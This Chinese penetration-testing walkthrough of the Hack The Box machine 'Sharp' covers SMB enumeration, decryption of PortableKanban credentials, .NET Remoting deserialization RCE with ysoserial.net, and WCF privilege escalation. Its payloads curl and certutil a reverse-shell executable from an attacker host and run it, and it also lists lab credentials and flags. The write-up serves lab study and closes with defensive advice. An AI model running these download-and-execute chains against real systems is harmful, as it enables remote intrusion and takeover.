[Meachines] [Hard] Sharp SMB+PortableKanban+.NET-RE+WCF
字数 1568 2025-09-23 19:27:38
Sharp SMB + PortableKanban + .NET-RE + WCF 渗透测试教学文档
1. 信息收集
1.1 主机发现与端口扫描
# 检查目标主机是否在线
ip='10.10.10.219'
itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
# 使用masscan进行快速端口扫描
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
# 使用nmap进行详细服务扫描
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
1.2 端口扫描结果分析
发现开放端口:
- 135/tcp: Microsoft RPC
- 139/tcp: NetBIOS-SSN
- 445/tcp: SMB文件共享
- 5985/tcp: WinRM (HTTP API)
- 8888/tcp: StorageCraft Image Manager
- 8889/tcp: .NET Message Framing
2. SMB枚举与PortableKanban解密
2.1 SMB共享发现
# 匿名枚举SMB共享
smbmap -H 10.10.10.219
# 访问kanban共享
smbclient -N //10.10.10.219/kanban
2.2 PortableKanban配置文件获取
# 下载配置文件
smb: \> wget PortableKanban.pk3
2.3 配置文件解密
# 使用专用解密脚本
python3 49409.py PortableKanban.pk3
获取凭据:
- administrator
- lars
- G2@$btRSHJYTarg
- G123HHrth234gRG
2.4 凭据验证与访问
# 使用CrackMapExec验证凭据
crackmapexec smb 10.10.10.219 -u USER -p PASS
# 使用有效凭据访问SMB
smbmap -H 10.10.10.219 -u 'lars' -p 'G123HHrth234gRG'
smbclient -N //10.10.10.219/dev -U 'lars%G123HHrth234gRG'
3. .NET远程服务利用
3.1 服务分析
发现服务端点:SecretSharpDebugApplicationEndpoint
- 类型过滤器级别:
TypeFilterLevel.Full - 允许反序列化任意类型,存在反序列化RCE风险
- 认证凭据:username="debug", password="SharpApplicationDebugUserPassword123!"
3.2 利用工具准备
- ysoserial.net: .NET反序列化利用工具
- ExploitRemotingService: .NET Remoting服务利用工具
- 反向shell程序: rev_10.10.16.14_9292.exe
3.3 反向shell生成
// reverse_win.c 源码
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char* argv[]) {
// ... 反向shell实现代码 ...
}
编译命令:
x86_64-w64-mingw32-gcc rev.c -o rev_10.10.16.14_9292.exe -lws2_32
3.4 攻击方法一:直接连接
3.4.1 下载阶段
# 生成下载命令的序列化payload
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "curl -o c:\windows\temp\rev_10.10.16.14_9292.exe http://10.10.16.14/download_with_token/4db980844ae74fc086f8efab397956b7"
# 执行反序列化攻击
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell
3.4.2 执行阶段
# 生成执行命令的序列化payload
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "c:\windows\temp\rev_10.10.16.14_9292.exe"
# 执行反序列化攻击
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell
3.5 攻击方法二:使用SOCAT隧道
3.5.1 建立隧道
# 在攻击机上建立端口转发
socat TCP-LISTEN:8888,reuseaddr,fork TCP:10.10.10.219:8888
3.5.2 下载阶段
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "curl -o c:\windows\temp\rev_10.10.16.14_9292.exe http://10.10.16.14/download_with_token/402bc29a788f48689a0c63b2a65affac"
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://<ATTACK_IP>:8888/SecretSharpDebugApplicationEndpoint raw $shell
3.5.3 执行阶段
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "c:\windows\temp\rev_10.10.16.14_9292.exe"
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://<ATTACK_IP>:8888/SecretSharpDebugApplicationEndpoint raw $shell
3.6 获取用户权限
成功获取shell后,找到user.txt:
d63b93adfef4a515c92e89fd52c65f2c
4. 权限提升:WCF服务利用
4.1 WCF服务分析
- WCF (Windows Communication Foundation) 是微软的通信框架
- 端口8889运行WCF服务:WcfServer.exe
- 当前用户权限较低,需要提权
4.2 服务权限检查
# 查找8889端口的进程信息
$p=(Get-NetTCPConnection -LocalPort 8889 -ErrorAction SilentlyContinue).OwningProcess
if(-not $p){
$p=([int]((netstat -ano|Select-String ":8889") -split '\s+')[-1])
}
$proc=Get-CimInstance Win32_Process -Filter "ProcessId=$p"
$owner=$proc.GetOwner()
[pscustomobject]@{
PID=$p
ProcessName=$proc.Name
User=if($owner.User){"$($owner.Domain)\$($owner.User)"}else{"Unknown"}
Path=$proc.ExecutablePath
CommandLine=$proc.CommandLine
}
4.3 WCF客户端利用
# 上传WCF客户端工具
certutil -urlcache -split -f "http://10.10.16.14/download_with_token/685a5d1592684e6bb54814e275fd1b49" "1757982985365.zip"
# 使用WCF客户端执行命令
.\WcfClient.exe 127.0.0.1:8889 c:\programdata\rev_10.10.16.14_443.exe
4.4 获取系统权限
成功提权后,找到root.txt:
38188f3e510ac5f27e962e56b817b363
5. 关键工具与资源
5.1 必要工具
- ysoserial.net: .NET反序列化利用工具
- ExploitRemotingService: .NET Remoting服务利用工具
- CrackMapExec: SMB凭据验证工具
- SOCAT: 网络隧道工具
- Mingw-w64: Windows可执行文件编译工具
5.2 资源链接
- tolapi项目: https://github.com/MartinxMax/tolapi
- Chameleon反向shell: https://raw.githubusercontent.com/MartinxMax/Chameleon/main/reverseshell/reverse_win.c
6. 防御建议
6.1 针对反序列化漏洞
- 设置TypeFilterLevel为Low
- 实现自定义序列化绑定器
- 验证输入数据的合法性
6.2 针对WCF服务
- 实施适当的权限分离
- 使用传输层安全加密通信
- 定期审计服务配置
6.3 通用安全措施
- 定期更新和打补丁
- 实施最小权限原则
- 启用日志记录和监控
- 进行定期安全评估
本教学文档详细展示了从信息收集到权限提升的完整渗透测试流程,重点突出了.NET反序列化漏洞和WCF服务的安全问题及利用方法。